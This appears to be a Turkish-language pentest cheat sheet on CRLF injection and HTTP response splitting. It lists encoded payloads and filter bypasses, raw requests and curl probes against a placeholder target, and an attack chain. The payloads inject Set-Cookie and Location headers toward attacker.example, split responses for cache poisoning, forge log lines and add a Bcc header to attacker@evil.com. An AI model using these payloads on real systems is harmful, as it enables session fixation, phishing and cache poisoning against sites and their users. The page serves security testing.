Skip to content

CRLF Injection & HTTP Response Splitting

OWASP A03 difficulty: orta

CRLF Injection, kullanıcı girdisinin bir HTTP başlığına veya log satırına \r\n (CRLF) karakterleriyle sızmasıdır. Yeni satır enjekte ederek ek başlıklar veya (klasik durumda) yeni bir yanıt gövdesi eklenebilir — buna HTTP Response Splitting denir.

%0d%0a
%0a
%0d
%0d%0aSet-Cookie:%20session=attacker
%0d%0aLocation:%20https://attacker.example
%0d%0aX-Injected:%20true
# Çift CRLF → gövde başlangıcı (response splitting)
%0d%0a%0d%0a<html>
# Filtre atlatma
%0d%0a
%00%0d%0a
%0d%0a%20
%0d%0a%09
%250d%250a
%25250d%25250a
\r\n
\n
%E5%98%8A%E5%98%8D # tarihsel UTF-8 hileleri
  1. Set-Cookie enjeksiyonu — session fixation veya attacker cookie yazdır:

    /setlang?lang=en%0d%0aSet-Cookie:%20session=ATTACKER
  2. Location enjeksiyonu — açık yönlendirme / phishing:

    /go?url=%0d%0aLocation:%20https://attacker.example
  3. Response splitting → XSS / cache poison — ikinci yanıtı önbelleğe yazdır; sonraki kullanıcılar zehirli HTML alır.

  4. Log injection — sahte satırlar; log UI XSS veya SIEM kirliliği:

    username=admin%0aINFO%20Forged%20login%20success
  5. Header smuggling kenarı — bazı proxy’lerde istek/yanıt sınırını bulandırır ( request smuggling ile karıştırma).

□ Redirect parametreleri → Location
□ Dil / tema / locale → Set-Cookie / custom header
□ Download filename → Content-Disposition
□ CORS yansıyan Origin / Access-Control-* (nadir CRLF)
□ Proxy'nin eklediği X-Forwarded-*, X-Request-ID
□ Link / Refresh başlıkları
□ CSV export / e-posta başlıkları (CRLF mail injection)
GET /redirect?url=%0d%0aSet-Cookie:%20x=1 HTTP/1.1
Host: hedef
# Kötü yanıt örneği:
# HTTP/1.1 302
# Location:
# Set-Cookie: x=1
GET /download?file=report%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a HTTP/1.1
Host: hedef

Modern HTTP/1.1 sunucuları çoğu zaman bunu reddeder; yine de özel CGI / eski middleware’de denenir. Cache’li ortamda etki büyür.

Set-Cookie enjekte → HttpOnly olmayan oturum çalma değil;
fixation: saldırgan kendi session ID'sini kurbanın tarayıcısına yazar
→ kurban login olursa saldırgan aynı ID ile oturumu devralır
Content-Length / ikinci yanıt → reflected XSS benzeri
# İletişim formu "subject" / "from" alanları
subject=Hello%0d%0aBcc:%20attacker@evil.com
# veya
%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>phishing</html>
[ ] %0d%0a / %0a / %0d ayrı ayrı
[ ] Çift / üçlü URL encode
[ ] Unicode satır ayırıcıları (U+2028 vb. — nadir)
[ ] Başlık folding: %0d%0a%20value
[ ] JSON string içinde \r\n → sunucu header'a basıyorsa
Terminal window
curl -sI "https://hedef/redir?u=%0d%0aSet-Cookie:%20crlf=1" | grep -i set-cookie
Terminal window
curl -sI "https://hedef/set?x=%0aX-Test:%20yes" | grep -i x-test
Yansıyan header sink bul (Location/Set-Cookie)
→ %0d%0aSet-Cookie / Location
→ fixation veya phishing PoC
→ cache varsa splitting ile stored etki